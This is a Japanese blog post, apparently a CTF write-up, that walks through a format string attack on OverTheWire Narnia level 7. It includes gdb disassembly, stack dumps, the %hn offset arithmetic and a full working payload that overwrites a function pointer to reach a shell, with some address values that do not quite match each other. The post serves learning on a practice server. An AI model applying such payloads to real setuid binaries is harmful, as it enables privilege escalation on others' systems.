最近CTFとか興味出てきたので色々と遊んでます。 今回はOverTheWire: Narniaのレベル7の問題(narnia7.c)を元にformat string attackのメモです。
narnia7の脆弱性のある関数はこれです。formatはmain関数においてはargv[1]で参照されていたもので、ユーザーからの入力がそのままsnprintf(3)に渡ります。
int vuln(const char *format){ char buffer[128]; int (*ptrf)(); memset(buffer, 0, sizeof(buffer)); printf("goodfunction() = %p\n", goodfunction); printf("hackedfunction() = %p\n\n", hackedfunction); ptrf = goodfunction; printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf); printf("I guess you want to come to the hackedfunction...\n"); sleep(2); ptrf = goodfunction; snprintf(buffer, sizeof buffer, format); return ptrf(); }
この問題はポインタ変数ptrfが最初はgoodfunction関数のアドレスを指しているので、hackedfunction関数のアドレスに書き換えると解決になります。hackedfunction関数はなかでsystem("/bin/sh")を実行するので、次の問題が書かれているパスワードファイルを読めるようになります。narnia7バイナリの所有者はnarnia8でパーミッションが4755なのでshellが立ち上がれば見れるって感じです。
32bitのバイナリを動かす環境があれば手元でも動かせられるので、仮想環境のarch linuxをmultilib有効にしてそこで試してます。もちろん、最後はoverthewireのサーバで実行してますが。コンパイルオプションには-fno-stack-protectorを付けてます。あとカーネルのASLRもオフにしてます。
まず、普通に実行するとこんな結果になります。書き換えるべきポインタのアドレスも表示してくれます。
masami@aur-dev:~$ ./narnia7 AAAA goodfunction() = 0x80486f5 hackedfunction() = 0x8048723 before : ptrf() = 0x80486f5 (0xffffd9fc) I guess you want to come to the hackedfunction... Welcome to the goodfunction, but i said the Hackedfunction.. masami@aur-dev:~$
これをgdbで動かします。まずvulnの終了前にブレークポイントを張ります。
masami@aur-dev:~$ gdb ./narnia7 Reading symbols from ./narnia7...(no debugging symbols found)...done. gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x080485db <+0>: push %ebp 0x080485dc <+1>: mov %esp,%ebp 0x080485de <+3>: sub $0x98,%esp 0x080485e4 <+9>: sub $0x4,%esp 0x080485e7 <+12>: push $0x80 0x080485ec <+17>: push $0x0 0x080485ee <+19>: lea -0x88(%ebp),%eax 0x080485f4 <+25>: push %eax 0x080485f5 <+26>: call 0x80484b0 <memset@plt> 0x080485fa <+31>: add $0x10,%esp 0x080485fd <+34>: sub $0x8,%esp 0x08048600 <+37>: push $0x80486f5 0x08048605 <+42>: push $0x80487f0 0x0804860a <+47>: call 0x8048430 <printf@plt> 0x0804860f <+52>: add $0x10,%esp 0x08048612 <+55>: sub $0x8,%esp 0x08048615 <+58>: push $0x8048723 0x0804861a <+63>: push $0x8048805 0x0804861f <+68>: call 0x8048430 <printf@plt> 0x08048624 <+73>: add $0x10,%esp 0x08048627 <+76>: movl $0x80486f5,-0x8c(%ebp) 0x08048631 <+86>: mov -0x8c(%ebp),%eax 0x08048637 <+92>: sub $0x4,%esp 0x0804863a <+95>: lea -0x8c(%ebp),%edx 0x08048640 <+101>: push %edx 0x08048641 <+102>: push %eax 0x08048642 <+103>: push $0x804881d 0x08048647 <+108>: call 0x8048430 <printf@plt> 0x0804864c <+113>: add $0x10,%esp 0x0804864f <+116>: sub $0xc,%esp 0x08048652 <+119>: push $0x8048838 0x08048657 <+124>: call 0x8048460 <puts@plt> 0x0804865c <+129>: add $0x10,%esp 0x0804865f <+132>: sub $0xc,%esp 0x08048662 <+135>: push $0x2 0x08048664 <+137>: call 0x8048450 <sleep@plt> 0x08048669 <+142>: add $0x10,%esp 0x0804866c <+145>: movl $0x80486f5,-0x8c(%ebp) 0x08048676 <+155>: sub $0x4,%esp 0x08048679 <+158>: pushl 0x8(%ebp) 0x0804867c <+161>: push $0x80 0x08048681 <+166>: lea -0x88(%ebp),%eax 0x08048687 <+172>: push %eax 0x08048688 <+173>: call 0x80484c0 <snprintf@plt> 0x0804868d <+178>: add $0x10,%esp 0x08048690 <+181>: mov -0x8c(%ebp),%eax 0x08048696 <+187>: call *%eax 0x08048698 <+189>: leave 0x08048699 <+190>: ret End of assembler dump. gdb-peda$ b *0x08048698 Breakpoint 1 at 0x8048698
そしたら実行します。
gdb-peda$ r AAAABBBB Starting program: /home/masami/narnia7 AAAABBBB goodfunction() = 0x80486f5 hackedfunction() = 0x8048723 before : ptrf() = 0x80486f5 (0xffffd9cc) I guess you want to come to the hackedfunction... Welcome to the goodfunction, but i said the Hackedfunction.. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0xf7fc8850 --> 0x0 EDX: 0x0 ESI: 0x2 EDI: 0xf7fc7000 --> 0x1b4d90 EBP: 0xffffda58 --> 0xffffda78 --> 0x0 ESP: 0xffffd9c0 --> 0xffffda80 --> 0x2 EIP: 0x8048698 (<vuln+189>: leave) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804868d <vuln+178>: add $0x10,%esp 0x8048690 <vuln+181>: mov -0x8c(%ebp),%eax 0x8048696 <vuln+187>: call *%eax => 0x8048698 <vuln+189>: leave 0x8048699 <vuln+190>: ret 0x804869a <main>: lea 0x4(%esp),%ecx 0x804869e <main+4>: and $0xfffffff0,%esp 0x80486a1 <main+7>: pushl -0x4(%ecx) [------------------------------------stack-------------------------------------] 0000| 0xffffd9c0 --> 0xffffda80 --> 0x2 0004| 0xffffd9c4 --> 0xf7fe39ab (<_dl_lookup_symbol_x+235>: add $0x30,%esp) 0008| 0xffffd9c8 --> 0x8048258 --> 0x55 ('U') 0012| 0xffffd9cc --> 0x80486f5 (<goodfunction>: push %ebp) 0016| 0xffffd9d0 ("AAAABBBB") 0020| 0xffffd9d4 ("BBBB") 0024| 0xffffd9d8 --> 0x0 0028| 0xffffd9dc --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x08048698 in vuln ()
そしてスタックの内容を表示します。
gdb-peda$ x/100x $esp-100 0xffffd95c: 0xf7fc5940 0xf7fc7d40 0xf7fc7000 0xffffd998 0xffffd96c: 0xf7e70734 0xf7fc7d40 0x00000000 0x00000002 0xffffd97c: 0xf7fc7000 0xffffd9b8 0xf7feee40 0xf7e706eb 0xffffd98c: 0x00000000 0x00000002 0xf7fc7000 0xffffd9b8 0xffffd99c: 0x08048719 0xf7fc7d40 0xf7e5c056 0x00000000 0xffffd9ac: 0x0804868d 0xffffd9d0 0x00000080 0xffffda58 0xffffd9bc: 0x08048698 0xffffda80 0xf7fe39ab 0x08048258 0xffffd9cc: 0x080486f5 0x41414141 0x42424242 0x00000000 0xffffd9dc: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffd9ec: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffd9fc: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffda0c: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffda1c: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffda2c: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffda3c: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffda4c: 0x00000000 0xffffffff 0xffffdb24 0xffffda78 0xffffda5c: 0x080486e9 0xffffdc93 0xffffdb24 0xffffdb30 0xffffda6c: 0x08048791 0xf7fc73bc 0xffffda90 0x00000000 0xffffda7c: 0xf7e2a196 0x00000002 0xf7fc7000 0x00000000 0xffffda8c: 0xf7e2a196 0x00000002 0xffffdb24 0xffffdb30 0xffffda9c: 0x00000000 0x00000000 0x00000000 0xf7fc7000 0xffffdaac: 0xf7ffdbe4 0xf7ffcfcc 0x00000000 0x00000002 0xffffdabc: 0xf7fc7000 0x00000000 0xe54c93be 0xdfbb1fae 0xffffdacc: 0x00000000 0x00000000 0x00000000 0x00000002 0xffffdadc: 0x080484e0 0x00000000 0xf7feee40 0xf7e2a0a9
0xffffd9d0のところから8バイトがbufferの内容でAAAABBBBですね。その前の0xffffd9ccはgoodfunction関数のアドレスを指してます。アドレス0xffffd9b0の内容が0xffffd9d0でbufferのアドレスを指してます。0xffffd9b0はbufferのサイズです。
で、ポインタの書き換えですがこれは%hnを使ってやります。ここの指定方法はGray Hat Hacking The Ethical Hacker's Handbook, Fourth Editionにある計算方法を使います。
まず、 書き込みたいポインタのアドレスは0xffffd9fcなので、[addr+2][addr]の部分はこうなります。
"\xde\xd9\xff\xff\xdc\xd9\xff\xff"
次は、最初の%hnに使うパラメータの設定で、書き込みたいアドレスはhackedfunction()のアドレスなのでHOBは0x0804、LOBは0x8723になります。そうするとHOB < LOBなのでHOB-8を行って、結果は0x7fx。10進数になおして%.2044xになります。 次は%[offset]$hnでここは、0xffffd9bcからのbufferまでのoffsetで6(words)となって%6\$hn。 次に残りの16bit分で、HOB < LOBなので、%[LOB - HOB]xだから0x7f1fで、%.32543xとなります。最後は%[offset+1]$hnだから6+1で7となって%7\$hn。 最後にこれまでの結果をまとめると、こうなります。
$(printf "\xde\xd9\xff\xff\xdc\xd9\xff\xff")%.2044x%6\$hn%.32543x%7\$hn
で、最後にこれで実行するとshellが立ち上がりますヽ(=´▽`=)ノ
masami@aur-dev:~$ ./narnia7 $(printf "\xde\xd9\xff\xff\xdc\xd9\xff\xff")%.2044x%6\$hn%.32543x%7\$hn goodfunction() = 0x80486f5 hackedfunction() = 0x8048723 before : ptrf() = 0x80486f5 (0xffffd9dc) I guess you want to come to the hackedfunction... Way to go!!!!sh-4.4$S
Gray Hat Hacking The Ethical Hacker's Handbook, Fourth Edition
- 作者: Daniel Regalado,Shon Harris,Allen Harper,Chris Eagle,Jonathan Ness,Branko Spasojevic,Ryan Linn,Stephen Sims
- 出版社/メーカー: McGraw-Hill Education
- 発売日: 2015/01/05
- メディア: ペーパーバック
- この商品を含むブログを見る